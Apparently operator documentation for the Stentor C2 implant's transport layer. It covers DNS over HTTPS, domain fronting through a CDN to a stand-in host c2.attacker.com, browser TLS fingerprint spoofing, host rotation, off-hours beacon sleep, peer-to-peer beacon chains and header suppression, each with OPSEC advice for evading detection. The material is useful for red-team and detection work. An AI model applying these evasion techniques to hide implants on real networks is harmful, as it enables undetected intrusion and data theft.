Skip to content

Advanced Transport Features

Beyond the core listener types (HTTP/S, DNS, SMB, QUIC, TCP Bind), Stentor's implant includes a suite of advanced transport features for evasion, resilience, and flexibility. These features operate as layers around or alongside the primary transport -- they can be combined to build highly customized C2 communication channels.

Transport Layering

Most of these features are composable. For example, you can use uTLS fingerprinting + domain fronting + rotating transport + adaptive sleep together for a highly resilient and stealthy C2 channel.


DNS over HTTPS (DoH)

DNS over HTTPS wraps DNS C2 queries inside standard HTTPS requests to public DoH resolvers (Cloudflare, Google, etc.). This bypasses traditional DNS monitoring that inspects raw UDP/TCP port 53 traffic, since the DNS queries travel inside encrypted HTTPS connections to well-known, trusted endpoints.

Platform Support

DoH transport is currently Windows-only. Non-Windows builds include a stub that returns an error. This is because the primary deployment target is Windows endpoints in corporate environments where DNS monitoring is prevalent.

How It Works

sequenceDiagram
    participant Implant as Implant (Windows)
    participant DoH as DoH Resolver (e.g., Cloudflare)
    participant DNS as C2 DNS Server
    participant Backend as Backend API

    Note over Implant: Encode C2 data as DNS subdomain labels
    Implant->>DoH: HTTPS POST /dns-query (RFC 8484)
    DoH->>DNS: Standard DNS query to C2 domain
    DNS->>Backend: Forward beacon data
    Backend-->>DNS: Task data in DNS response
    DNS-->>DoH: DNS response (A/AAAA/TXT records)
    DoH-->>Implant: HTTPS response with DNS answer
    Note over Implant: Decode task from DNS records

The implant constructs DNS wire-format queries (RFC 1035), wraps them in HTTPS requests per RFC 8484, and sends them to public DoH resolvers. The C2 server receives the queries through its authoritative DNS server and encodes responses in DNS records.

Data Channels

DoH supports three DNS record modes for task retrieval, selectable at runtime:

Mode Record Type Bytes per Response Best For
dns A (IPv4) 4 bytes Minimal data, low profile
dns6 AAAA (IPv6) 16 bytes Moderate throughput
dns-txt TXT ~255 bytes Highest throughput (default)

The mode can be changed at runtime via SetMode(), allowing the operator to switch data channels without redeploying the implant.

Configuration

Field Type Default Description
Servers []string -- DoH resolver hostnames (e.g., cloudflare-dns.com, dns.google)
Verb string POST HTTP method -- GET or POST
UserAgent string -- Custom User-Agent header
Proxy string -- HTTPS proxy URL for outbound DoH requests
Headers map[string]string -- Additional HTTP headers on DoH requests
Domain string -- C2 domain for DNS queries
Accept string application/dns-message Accept header value

Subhost prefixes for different query types are configurable:

Subhost Default Purpose
A record cdn Task retrieval via A records
AAAA record www6 Task retrieval via AAAA records
TXT record api Task retrieval via TXT records (default mode)

DoH Request Methods

POST method (default, per Cobalt Strike spec): Sends the DNS wire-format query as the request body with Content-Type: application/dns-message.

GET method: Base64url encodes the DNS query (no padding, per RFC 8484) and places it in the dns query parameter:

GET /dns-query?dns=AAABAAABAAA... HTTP/1.1
Host: cloudflare-dns.com
Accept: application/dns-message

Round-Robin Server Selection

When multiple DoH servers are configured, the transport uses round-robin selection across requests. This distributes traffic across multiple resolvers to avoid rate limiting and reduce the chance of a single resolver being flagged.

OPSEC Considerations

OPSEC

  • DoH traffic to Cloudflare/Google is expected on most corporate networks -- it blends with legitimate encrypted DNS traffic
  • Configure a custom UserAgent to match the browser that would normally make DoH requests
  • Use POST method (default) since it does not expose query data in the URL
  • The C2 domain appears only in DNS wire format inside the encrypted HTTPS payload -- not visible to network monitors watching the HTTPS connection
  • DoH resolvers log queries; use multiple resolvers with round-robin to distribute the footprint
  • Large data exfiltration via DNS (even over HTTPS) is slow; use DoH primarily for command channels and switch to HTTP/S for bulk data transfer

Domain Fronting

Domain fronting routes C2 traffic through Content Delivery Networks (CDNs) by exploiting the difference between the TLS SNI hostname and the HTTP Host header. Network monitors see a connection to a legitimate CDN domain, while the CDN routes the request to the actual C2 server based on the Host header.

How It Works

sequenceDiagram
    participant Implant as Implant
    participant CDN as CDN Edge (e.g., CloudFront)
    participant C2 as C2 Server

    Note over Implant: TLS SNI = d111111abcdef8.cloudfront.net
    Note over Implant: HTTP Host = c2.attacker.com
    Implant->>CDN: HTTPS connection (SNI: cloudfront.net)
    Note over CDN: Routes based on Host header
    CDN->>C2: Forward request to c2.attacker.com
    C2-->>CDN: C2 response
    CDN-->>Implant: HTTPS response
    Note over Implant: Network monitor sees: cloudfront.net

The FrontedClient builds URLs targeting the front domain (https://d111111abcdef8.cloudfront.net/api/v1/c2/beacon) but sets httpReq.Host = c2.attacker.com to route through the CDN to the real C2 backend.

Configuration

Parameter Description Example
frontDomain CDN domain for TLS SNI d111111abcdef8.cloudfront.net
realDomain Actual C2 domain (HTTP Host header) c2.attacker.com
c2Path API path prefix /api/v1/c2
userAgent HTTP User-Agent string Mozilla/5.0 ...
timeout HTTP request timeout 30s
tlsFingerprint uTLS browser fingerprint (optional) chrome_auto

Proxy Support

Domain fronting supports optional proxy configuration via NewFrontedClientWithProxy(). When no explicit proxy is configured, the transport automatically falls back to IE/system proxy detection on Windows (see IE Proxy Detection below).

Integration with uTLS

Domain fronting uses newUTLSFrontedTransport() which sets the TLS SNI to the front domain (not the connection target). When a tlsFingerprint is specified, the TLS handshake uses a browser-matching ClientHello while keeping the SNI pointed at the CDN domain.

OPSEC Considerations

OPSEC

  • CDN provider matters: AWS CloudFront, Azure CDN, and Fastly have been used for fronting. Some providers now actively block domain fronting (Google, AWS in some configurations).
  • The front domain should be a high-traffic, high-reputation domain that would not raise suspicion in network logs.
  • Use a tlsFingerprint (e.g., chrome_auto) to avoid the TLS handshake fingerprinting as Go's crypto/tls library.
  • Go's default headers (User-Agent: Go-http-client/1.1, Accept-Encoding: gzip) are suppressed via suppressGoDefaults().
  • If the CDN performs TLS inspection and validates that SNI matches the Host header, fronting will fail -- test your CDN configuration.

uTLS Fingerprinting

Go's standard crypto/tls library produces a distinctive TLS ClientHello fingerprint (JA3/JA4) that network security tools can identify as non-browser traffic. uTLS replaces the TLS handshake with browser-matching fingerprints using the refraction-networking/utls library, making C2 connections appear as normal browser traffic.

How It Works

Instead of Go's crypto/tls.Dial, the transport uses utls.UClient with a preset ClientHelloID that reproduces the exact TLS extensions, cipher suites, and handshake parameters of a specific browser version.

Supported Fingerprint Profiles

Profile String Browser Notes
chrome_auto Chrome (latest) Default fallback for unrecognized values
chrome_120 Chrome 120 Specific version pin
chrome_131 Chrome 131 Specific version pin
chrome_133 Chrome 133 Specific version pin
firefox_auto Firefox (latest) Auto-updated fingerprint
firefox_120 Firefox 120 Specific version pin
edge_auto Edge (latest) Auto-updated fingerprint
edge_85 Edge 85 Legacy version
edge_106 Edge 106 Specific version pin
safari_auto Safari (latest) Auto-updated fingerprint
safari_16 Safari 16.0 macOS/iOS
ios_14 iOS 14 Safari Mobile fingerprint
random / randomized Random browser Randomized per-connection

Profile Selection

Use chrome_auto or firefox_auto for most engagements -- they auto-update to match the latest browser release. Pin to a specific version (e.g., chrome_131) only when you need reproducible fingerprints for testing or when the target environment has a known browser version.

Transport Variants

uTLS is integrated into three transport constructors:

Constructor Use Case
newUTLSTransport(fingerprint, insecureSkipVerify) Standard HTTPS transport
newUTLSTransportWithProxy(fingerprint, insecureSkipVerify, proxyURL) HTTPS through proxy
newUTLSFrontedTransport(fingerprint, frontDomain, insecureSkipVerify) Domain fronting (SNI = front domain)

When fingerprint is empty, all constructors fall back to standard Go crypto/tls (no uTLS). The DisableCompression: true flag is always set to prevent Go from injecting Accept-Encoding: gzip which would fingerprint the client.

OPSEC Considerations

OPSEC

  • uTLS does not spoof HTTP/2 TLS fingerprints -- http2.Transport uses its own TLS configuration. Use the HTTP/2 Profiled transport for HTTP/2 connections.
  • The random/randomized profile generates a different fingerprint per connection, which can be a detection vector if an analyst correlates multiple unique fingerprints from the same source.
  • Match the fingerprint to the User-Agent header in your malleable profile -- a Chrome JA3 with a Firefox User-Agent is suspicious.
  • uTLS supports proxy tunneling: Go's http.Transport handles HTTP CONNECT before DialTLSContext, so no custom proxy code is needed.

Rotating/Fallback Transport

The RotatingTransport wraps multiple transport instances and manages host selection through configurable strategies. It provides multi-host resilience, automatic failover, and an exit strategy when all C2 servers are unreachable.

Rotation Strategies

Strategy Format Description
Round-robin round-robin Cycle through hosts sequentially on each request
Random random Pick a random available host per request
Failover (count) failover-N Stay on current host until N consecutive failures, then switch
Failover (time) failover-30m Duration-aware failover variant
Rotate (time) rotate-30m Switch to next host every 30 minutes regardless of failures

Duration suffixes: s (seconds), m (minutes), h (hours), d (days).

"round-robin"   -- Cycle through all hosts
"random"        -- Random selection
"failover-5"    -- Switch after 5 failures
"rotate-2h"     -- Switch every 2 hours
"rotate-7d"     -- Switch every 7 days

Max Retry / Exit Strategy

The MaxRetryConfig defines what happens when all hosts are unreachable:

Format: exit-[max]-[increase]-[duration]

exit-96-48-5m
  |    |   |
  |    |   +-- Escalate sleep interval to 5 minutes
  |    +------ Escalate at 48 consecutive failures
  +----------- Exit implant after 96 consecutive failures
Parameter Description
max Total consecutive failures before implant exits
increase Failure count at which sleep is escalated
duration Escalated sleep interval (5m, 1h, 7d)

On success after escalation, the sleep interval is automatically restored to its original value.

Host Mutation (Runtime)

Hosts can be added, removed, held, or reset at runtime via the operator's session:

Method Description Limit
AddHost(url) Add a new C2 host to rotation Max 32 hosts
RemoveHost(url) Remove a host (cannot remove last) Min 1 host
SetHeld(url) Temporarily suspend a host --
ReleaseHeld(url) Re-enable a suspended host --
ResetHosts() Restore original host configuration --

Held Host Recovery

When all hosts are marked as "held" (temporarily unavailable due to failures), the transport automatically releases all hosts and retries. This prevents a deadlock state where no hosts are available.

Failover Callback

Register a callback to be notified when the active host changes:

rt.SetFailoverCallback(func(fromIndex, toIndex int) {
    log.Printf("Failover: host %d -> host %d", fromIndex, toIndex)
})

OPSEC Considerations

OPSEC

  • Use failover-5 for stable C2 with automatic recovery -- the implant stays on the primary host and only fails over when truly unavailable.
  • rotate-2h cycles through hosts on a schedule, distributing traffic across multiple C2 servers to avoid one server accumulating excessive connections.
  • The exit strategy (exit-96-48-5m) prevents an implant from beaconing indefinitely when the C2 infrastructure is down, reducing the window for detection.
  • Sleep escalation at the increase threshold slows beacon frequency when connectivity is degraded, reducing network noise.
  • Use random strategy when multiple C2 servers are fronted by different CDNs to maximize resilience.

Adaptive Sleep

The AdaptiveTimer adjusts beacon sleep intervals based on time-of-day and day-of-week. During off-hours (nights and weekends), the sleep interval is multiplied by a configurable factor, reducing beacon frequency when real user traffic is low and anomalous network activity is more likely to be detected.

Configuration

Field Type Default Description
WorkStart int 8 Hour (0-23) when business hours begin
WorkEnd int 17 Hour (0-23) when business hours end
OffHoursMult float64 -- Sleep multiplier during off-hours (e.g., 3.0)
Location string UTC IANA timezone (e.g., America/New_York)

Disabled by Default

NewAdaptiveTimer returns nil when OffHoursMult <= 1.0, effectively disabling the feature. The AdjustedSleep method is nil-safe and returns baseSleep unchanged when the timer is nil.

Sleep Calculation

if (hour < WorkStart OR hour >= WorkEnd OR Saturday OR Sunday):
    sleep = baseSleep * OffHoursMult
else:
    sleep = baseSleep

Example with WorkStart=8, WorkEnd=17, OffHoursMult=3.0, baseSleep=60s:

Time Day Adjusted Sleep
10:00 Tuesday 60s (business hours)
22:00 Tuesday 180s (off-hours, 3x)
06:00 Wednesday 180s (before work, 3x)
14:00 Saturday 180s (weekend, 3x)
14:00 Monday 60s (business hours)

OPSEC Considerations

OPSEC

  • Set the timezone to the target's timezone, not the operator's. Use the IANA timezone database format (e.g., America/Chicago).
  • A 3x multiplier is a reasonable starting point: 60s base becomes 180s off-hours.
  • On Windows, if the IANA timezone database is not available, the timer falls back to UTC. This may cause incorrect off-hours calculations for non-UTC targets.
  • Adaptive sleep makes beacon timing more natural -- defenders monitoring for regular-interval beacons will see different patterns during work hours vs. off-hours.
  • Combine with jitter (applied separately at the beacon level) for maximum timing obfuscation.

TCP P2P (Peer-to-Peer Linking)

The TCPPeerClient enables parent beacons to connect to child beacons running in TCP bind mode. This creates peer-to-peer relay chains for reaching targets that have no outbound network access, routing C2 traffic through intermediate beacons.

How It Works

graph LR
    C2[C2 Server] <-->|HTTPS| Parent[Parent Beacon]
    Parent <-->|TCP P2P| Child[Child Beacon<br/>Bind Mode]
    Child <-->|TCP P2P| Grandchild[Grandchild Beacon<br/>Bind Mode]

    style C2 fill:#f96,stroke:#333
    style Parent fill:#6f9,stroke:#333
    style Child fill:#69f,stroke:#333
    style Grandchild fill:#69f,stroke:#333

The child beacon listens on a TCP port (bind mode). The parent beacon connects to it using TCPPeerClient and relays all C2 operations (checkin, task retrieval, result submission) through the P2P message protocol.

P2P Message Protocol

All communication uses structured P2P messages with type codes:

Message Type Direction Purpose
MsgTypeCheckin Parent -> Child Beacon registration
MsgTypeCheckinResp Child -> Parent Registration response with beacon ID
MsgTypeGetTask Parent -> Child Poll for pending tasks
MsgTypeTaskResp Child -> Parent Task payload or empty response
MsgTypeSubmitResult Parent -> Child Task execution results
MsgTypeResultAck Child -> Parent Acknowledgment (may contain error)

Connection Lifecycle

  1. Creation: NewTCPPeerClient(host, port) -- does not connect immediately
  2. First Checkin: Connection is established on the first Checkin() call
  3. Operations: GetTask() and SubmitResult() use the established TCP connection
  4. Teardown: Close() terminates the P2P connection

OPSEC Considerations

OPSEC

  • TCP P2P traffic is unencrypted at the transport layer by default -- it relies on the P2P protocol's message framing, not TLS. Use this only within internal network segments.
  • The bind port on the child beacon is a listening socket that can be discovered by port scans. Use non-standard ports and restrict access with host-based firewalls.
  • P2P chains add latency to every C2 interaction -- each hop adds a round-trip.
  • Child beacons relay traffic to the C2 server through their own transport, so the entire chain is only as reliable as the weakest link.

HTTP/2 Profiled Transport

HTTP2ProfiledClient provides HTTP/2 C2 communication with full malleable profile support. It applies the same URI, header, and body transforms as the standard ProfiledClient but forces HTTP/2 transport using golang.org/x/net/http2.Transport with ALPN h2 negotiation.

Platform Support

HTTP/2 profiled transport is available on Windows and Linux (//go:build windows || linux).

HTTP/2 vs HTTP/1.1 Profiled

Feature ProfiledClient (HTTP/1.1) HTTP2ProfiledClient (HTTP/2)
TLS fingerprint uTLS browser spoofing Go's crypto/tls (no uTLS)
Protocol HTTP/1.1 HTTP/2 with ALPN h2
Multiplexing No Yes (concurrent streams)
Binary framing No Yes (looks like modern browser)
Header compression No HPACK compression

Why No uTLS for HTTP/2?

uTLS does not support http2.Transport -- they use incompatible TLS configurations. HTTP/2's binary framing and mandatory TLS 1.3 with ALPN h2 already produce a modern-looking connection fingerprint, making uTLS less critical.

Malleable Profile Integration

HTTP/2 profiled transport uses the same profile structure as HTTP/1.1:

  • Checkin/GetTask: Uses http-get profile block -- metadata transforms, URI selection, termination types (cookie, parameter, header, body)
  • SubmitResult: Uses http-post profile block -- output transforms, ID transforms, configurable HTTP verb

Data placement (termination types):

Termination Checkin Data Placement Task Poll ID Placement
body Request body N/A (GET request)
cookie Cookie: session=... Cookie: session=...
parameter ?data=... query param ?beacon_id=... query param
header X-Data: ... header N/A

OPSEC Considerations

OPSEC

  • HTTP/2 connections are increasingly common -- most modern websites serve over HTTP/2, making this traffic blend naturally.
  • HPACK header compression makes header inspection harder for network monitors.
  • The lack of uTLS means the TLS fingerprint will be Go's default crypto/tls, not a browser fingerprint. This is acceptable because HTTP/2 ALPN h2 is already a strong signal of a modern client.
  • Profile-defined headers suppress Go defaults (User-Agent: Go-http-client, Accept-Encoding: gzip) via setOrderedHeaders().

Header Ordering

Stentor's header management system removes Go's automatically injected HTTP headers and ensures only profile-defined headers appear in requests. This prevents trivial fingerprinting of the C2 client as a Go application.

Problem: Go's Default Headers

Go's net/http automatically injects two headers that identify the client as non-browser:

Header Go Default Detection Risk
User-Agent Go-http-client/1.1 Immediate red flag in network logs
Accept-Encoding gzip Reveals Go runtime compression handling

Solution

Two functions handle header management:

setOrderedHeaders() -- For profiled transports (ProfiledClient, HTTP2ProfiledClient):

  1. Clears all existing headers from the request
  2. Sets Accept-Encoding to nil (suppresses Go's auto-injection)
  3. Applies profile-defined headers in their declared order
  4. Falls back to profile UserAgent only if no profile header defines User-Agent

suppressGoDefaults() -- For non-profiled transports (FrontedClient, EncryptedClient):

  1. Overrides User-Agent with the configured value
  2. Suppresses Accept-Encoding: gzip auto-injection

HTTP/1.1 Wire Order Limitation

Go's net/http alphabetically sorts header keys when writing HTTP/1.1 on the wire. The primary value of setOrderedHeaders is (a) removing Go-injected defaults and (b) ensuring ONLY profile-defined headers appear. True wire-order control would require a custom RoundTripper.

OPSEC Considerations

OPSEC

  • Always configure a realistic User-Agent in your malleable profile that matches the target environment's browser population.
  • The Accept-Encoding: nil trick prevents Go from adding gzip but also means the client will not advertise compression support -- this is normal for some API clients but unusual for browsers.
  • HTTP/2 uses HPACK header compression which obscures individual header order, making this less critical for HTTP/2 connections.
  • Network security tools that flag Go-http-client User-Agent strings will not detect Stentor traffic when headers are properly configured.

IE Proxy Detection (Windows)

On Windows targets, the implant automatically detects system proxy settings configured through Internet Options (IE/WinHTTP). This allows the beacon to route through corporate proxy servers without manual configuration.

Platform

This feature is Windows-only. It uses the WinHttpGetIEProxyConfigForCurrentUser API from winhttp.dll.

How It Works

At transport initialization, when no explicit proxy is configured, the implant calls the WinHTTP API to read the current user's IE proxy settings. This is the same mechanism that browsers and Windows applications use for proxy discovery.

Proxy Format Support

Format Example Handling
Simple proxy proxy.corp.com:8080 Used directly, http:// scheme prepended
Per-protocol http=proxy1:80;https=proxy2:443 HTTP proxy entry extracted
No proxy -- Returns empty, no proxy used

For per-protocol proxy strings, the http= entry is extracted. If no http= entry exists, the first entry is used as a fallback.

Automatic Integration

IE proxy detection is called automatically by several transports when no explicit proxy is provided:

  • NewFrontedClient() -- calls applyIEProxyFallback(transport)
  • NewFrontedClientWithProxy() -- falls back to IE proxy when proxyURL is empty
  • newUTLSTransportWithProxy() -- falls back to IE proxy when both proxyURL and fingerprint are empty

Limitations

Limitation Detail
No WPAD/PAC support Only manual proxy settings are detected; auto-configuration (WPAD/PAC) is not supported
Per-user settings Reads the current user's proxy config; SYSTEM-context beacons may have different settings
No auto-refresh Proxy settings are read once at transport initialization; changes require transport restart

OPSEC Considerations

OPSEC

  • Using the system proxy is an OPSEC advantage -- it makes C2 traffic indistinguishable from normal application traffic routed through the corporate proxy.
  • SYSTEM-context beacons (from services or scheduled tasks) may not have the same proxy settings as the interactive user -- test both contexts.
  • The WinHTTP API call does not generate observable events (no network traffic, no event log entries).
  • If the proxy requires authentication, Go's http.Transport handles NTLM/Negotiate proxy auth automatically when running in the user's context.

Encrypted Transport Wrapper

The EncryptedClient adds an AES-256-GCM encryption layer on top of HTTP transport. All C2 payloads (checkin, task retrieval, result submission) are encrypted end-to-end between the implant and the C2 server, independent of TLS.

Why Double Encryption?

Layer Protection Against
TLS (outer) Network-level interception, MITM
AES-256-GCM (inner) TLS inspection appliances, CDN MITM, compromised proxies

Even if an SSL inspection appliance or CDN terminates and re-encrypts TLS, the inner AES layer protects the C2 payload from inspection.

Key Exchange Flow

sequenceDiagram
    participant Implant
    participant C2 as C2 Server

    Implant->>C2: GET /pubkey (fetch RSA public key)
    C2-->>Implant: RSA public key (PEM)
    Note over Implant: Generate AES-256 session key
    Implant->>C2: POST /keyx (RSA-encrypted session key)
    C2-->>Implant: Acknowledgment
    Note over Implant,C2: All subsequent traffic uses AES-256-GCM
    Implant->>C2: POST /beacon {encrypted checkin}
    C2-->>Implant: {encrypted response}
  1. Implant fetches the server's RSA public key
  2. Implant generates an AES-256 session key and encrypts it with the server's RSA key
  3. Server decrypts the session key and stores it for the beacon's session
  4. All subsequent requests use AES-256-GCM encryption

First Checkin Flow

The first checkin uses a special flow because the beacon does not yet have an assigned ID:

  1. Generate a temporary UUID as a session identifier
  2. Perform key exchange with the temporary UUID
  3. Send encrypted checkin (beacon ID is nil in the body)
  4. Server assigns a beacon ID and migrates the session from the temp UUID to the real beacon ID
  5. Subsequent requests use the server-assigned beacon ID

Request Format

Encrypted requests include identifying headers:

Header Value Purpose
X-Encrypted 1 Signals the server that the payload is AES-encrypted
X-Beacon-ID UUID string Identifies which session key to use for decryption
Content-Type application/json Standard JSON content type

The encrypted payload is wrapped in a JSON envelope with base64 encoding:

{"data": "base64-encoded-AES-256-GCM-ciphertext"}

Session Recovery

If the server restarts and loses the session key (returns HTTP 401), the client automatically:

  1. Invalidates the local session (clears session key and cached public key)
  2. Re-establishes the session via key exchange
  3. Retries the failed request (once, to prevent infinite loops)

Custom Endpoint Paths

For OPSEC, the key exchange endpoint paths can be customized via SetStagerPaths(pubkeyPath, keyxPath) to match malleable profile stager paths. This avoids using default paths like /pubkey and /keyx that could be signatured.

Integration with uTLS

The encrypted client supports uTLS fingerprinting and proxy configuration:

  • NewEncryptedClient() -- uses newUTLSTransport(fingerprint, insecureSkipVerify)
  • NewEncryptedClientWithProxy() -- uses newUTLSTransportWithProxy(fingerprint, insecureSkipVerify, proxyURL)

OPSEC Considerations

OPSEC

  • The X-Encrypted: 1 and X-Beacon-ID headers are custom headers that could be signatured. Consider customizing header names via malleable profile if using encrypted transport in sensitive environments.
  • Key exchange is a one-time operation per session -- it only generates network traffic during initial setup and after server restarts.
  • The RSA public key fetch (/pubkey) and key exchange (/keyx) endpoints use default paths unless customized via SetStagerPaths() -- change these in production.
  • AES-256-GCM provides authenticated encryption, preventing payload tampering.
  • Session invalidation on 401 ensures the implant recovers gracefully from server restarts without operator intervention.

Transport Comparison

Transport Feature Stealth Throughput Resilience Platform Complexity
DNS over HTTPS High Low Medium Windows Medium
Domain Fronting Very High High Medium All Low
uTLS Fingerprinting High N/A (layer) N/A All Low
Rotating Transport N/A (layer) N/A Very High All Medium
Adaptive Sleep High N/A (timing) N/A All Low
TCP P2P Low High Medium All Low
HTTP/2 Profiled High High Medium Win/Linux Medium
Header Ordering High N/A (layer) N/A All Low
IE Proxy Detection High N/A (layer) High Windows Low
Encrypted Wrapper Medium High Medium All Medium

See Also